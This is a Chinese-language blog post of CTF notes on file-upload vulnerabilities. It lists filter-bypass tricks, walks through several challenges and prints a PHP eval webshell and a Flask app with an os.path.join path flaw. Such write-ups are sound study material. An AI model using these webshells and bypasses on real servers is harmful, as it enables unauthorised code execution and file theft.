avatar

cindahy

A text-focused Halo theme

  • 首页
  • 文章分类
  • 项目
  • 关于
Home ctf文件上传题小总结与记录
文章

ctf文件上传题小总结与记录

Posted 2024-11-1 Updated 16 days ago
By Administrator
19~25 min read

​

解题思路:先看中间件,文件上传点(字典扫描,会员中心),绕过/验证(黑名单,白名单),解析漏洞,cms,编辑器,最新cve

文件上传漏洞一般危害高

先看中间件,看有没有已经公布的漏洞,找文件上传点,试它的验证模式(黑白名单,后缀名,文件类型(MIME),文件头(png等文件有固定文件头))

  • 看能不能上传.htaccess文件,将其他类型的文件作为php执行,配合图片马

  • 对应中间件,查看是否有解析漏洞(四种)

  • ::$DATA会把之后的数据当成文件流处理,不会检测后缀名,且保持'::$DATA'之前的文件名;

  • 查看是否有二次渲染,先上传再验证再二次上传,二次渲染配合条件竞争,在文件第一次上传后迅速访问第一次上传地址,让其不能进行后续重命名验证上传操作,实现木马后门的植入。

  • 数据溢出:插入大量垃圾数据,绕过验证

  • 符号变异:利用” ’ ;等符号如"1.php,"x"x.php 绕过验证上传。

  • 数据截断:%00:x.php%00.jpg,将%00进行手工url编码

  • 数据截断:换行,如"x.(换行)p(换行)h(换行)p”

  • 重复数据:重复写filename数据

编辑

上传x.php,用重复数据迷惑验证,实际上filename仍是x.php

​

编辑

上传jpeg;x.php,绕过验证,/也可以作为一个条件绕过

  • 可上传zip文件,phar伪协议对压缩的php进行读取

  • os.path.join()函数存在绝对路径拼接漏洞,如file_path = os.path.join(“var”, “lib”, filename),可访问任意文件

  • burp加字典爆破绕过

[MoeCTF 2022]what are y0u uploading?

文件上传

​

编辑

有源码,感觉应该不会很难,是个白名单绕过

​

编辑

没经过代理,直接执行了

传一个jpg上去,这次抓到包了,在这上面改,好像就不用经过第一个验证了

编辑

这咋办,偷偷去看一眼wp

什么!!!是f1ag.php

​

编辑

结束

总结:一道很简单的题目,小心掉坑

[NISACTF 2022]bingdundun~

phar执行php压缩文件 文件上传 PHP伪协议 PHP

phar://

主要是用于在php中对压缩文件格式的读取。这种方式通常是用来配合文件上传漏洞使用,或者进行进阶的phar反序列化攻击

只能上传图片或压缩包格式

将内容为

<?php
phpinfo();
@eval($_POST['cmd']);
?>

的putin.php文件压缩成zip文件,上传。

用phar://伪协议访问上传的文件

​

能够执行,用蚁剑连接

​

得到flag

总结:遇到可上传压缩文件的文件上传题,可将php文件压缩后上传,用phar读取来执行后门

[UUCTF 2022 新生赛]ez_upload

文件上传,Apache HTTPD 多后缀解析漏洞

此漏洞与版本无关,是因为用户配置存在漏洞

访问之后连蚁剑进入后台

总结:看到中间件为apache的文件上传题可以试一下1.jpg.php的格式。

[NISACTF 2022]babyupload

标签:文件上传,Python,Flask

os.path.join()函数存在绝对路径拼接漏洞

得到一个python文件

from flask import Flask, request, redirect, g, send_from_directory
import sqlite3
import os
import uuid

app = Flask(__name__)

SCHEMA = """CREATE TABLE files (
id text primary key,
path text
);
"""


def db():
    g_db = getattr(g, '_database', None)
    if g_db is None:
        g_db = g._database = sqlite3.connect("database.db")
    return g_db


@app.before_first_request
def setup():
    os.remove("database.db")
    cur = db().cursor()
    cur.executescript(SCHEMA)


@app.route('/')
def hello_world():
    return """<!DOCTYPE html>
<html>
<body>
<form action="/upload" method="post" enctype="multipart/form-data">
    Select image to upload:
    <input type="file" name="file">
    <input type="submit" value="Upload File" name="submit">
</form>
<!-- /source -->
</body>
</html>"""


@app.route('/source')
def source():
    return send_from_directory(directory="/var/www/html/", path="www.zip", as_attachment=True)


@app.route('/upload', methods=['POST'])
def upload():
    if 'file' not in request.files:
        return redirect('/')
    file = request.files['file']
    if "." in file.filename:
        return "Bad filename!", 403
    conn = db()
    cur = conn.cursor()
    uid = uuid.uuid4().hex
    try:
        cur.execute("insert into files (id, path) values (?, ?)", (uid, file.filename,))
    except sqlite3.IntegrityError:
        return "Duplicate file"
    conn.commit()

    file.save('uploads/' + file.filename)
    return redirect('/file/' + uid)


@app.route('/file/<id>')
def file(id):
    conn = db()
    cur = conn.cursor()
    cur.execute("select path from files where id=?", (id,))
    res = cur.fetchone()
    if res is None:
        return "File not found", 404

    # print(res[0])

    with open(os.path.join("uploads/", res[0]), "r") as f:
        return f.read()


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

将文件名改成/flag,访问返回网址后得到flag

​

原理:os.path.join()函数存在绝对路径拼接漏洞

os.path.join(path,*path)函数用于将多个文件路径连接成一个组合的路径。第一个函数通常包含了基础路径,而之后的每个参数被当做组件拼接到基础路径之后。

然而,如果拼接的路径以/开头,那么包括基础路径在内的所有前缀路径将会被删除,该路径被视为绝对路径,造成任意文件读取漏洞。

如file_path = os.path.join(“var”, “lib”, filename)

如果攻击者传入的文件名参数为”/a/b/c.txt“,那么 file_path 会是一个绝对路径(/a/b/c.txt)。即 os.path.join 会忽略掉”var/lib“部分,攻击者可以不使用“.”字符就读取到任何文件。

[WUSTCTF 2020]CV Maker

标签:文件上传,图片马

随便注册一个账号

进入此页面

找到上传点了

发现这样就行

在末尾写入

<?php
phpinfo();
@eval($_POST['cmd']);
?>

拖拉图片访问图片地址,发现php被执行

蚁剑连接

????!!!我flag呢?谁偷了

服了,原来phpinfo()里就有

ctrl+f查找flag

 总结:简单的文件上传,让我找回了自信

​

刷题
文件上传
License:  CC BY 4.0
Share

Further Reading

Oct 5, 2025

moectf2025

这是我见过的最新手友好的比赛了,题目比较多,大部分也比较套路 web 0 直接放到浏览器的控制台里 第一章 直接查看页面源码,找到一个jsp文件,里面直接就有flag 第二章 <

Aug 1, 2025

ctfshow菜狗杯题集

杂项签到 得到一个图片,kali里面 strings misc1.png //直接得到flag 损坏的压缩包 hex打开发现是png,改png后缀,图片上就有flag 谜之栅栏 strings 两个图片得到这两串字符,很明显的栅栏 ; .Lcfhwfaab2cb4af5a5820} ; .Ltso{

Aug 1, 2025

ctfshow萌新题集

记录一下前半部分是能自己写出来的,后半部分是需要提示的,感觉自己归来两年仍是萌新 misc部分 知识点 base家族密文特征 Base16 (Hex) 字符集:0-9, A-F(不区分大小写)。 特征: 长度是 2 的倍数(每字节对应 2 个字符)。 无填充字符。 示例:48656C6C6F("He

OLDER

总结

NEWER

第83天ctf-夺旗,python考点sstl,反序列化,字符串

Recently Updated

  • 常见安全产品整理(防火墙,WAF,EDR)
  • ELK从入门到实践
  • bp+mumu模拟器app抓包
  • xray漏扫工具
  • Java反序列化-RMI的几种攻击方式

Trending Tags

安全运营 文件上传 php反序列化 xss csrf ssrf xxe sql php 白帽子讲web安全

Contents

©2025 cindahy. Some rights reserved.

Using the Halo theme Chirpy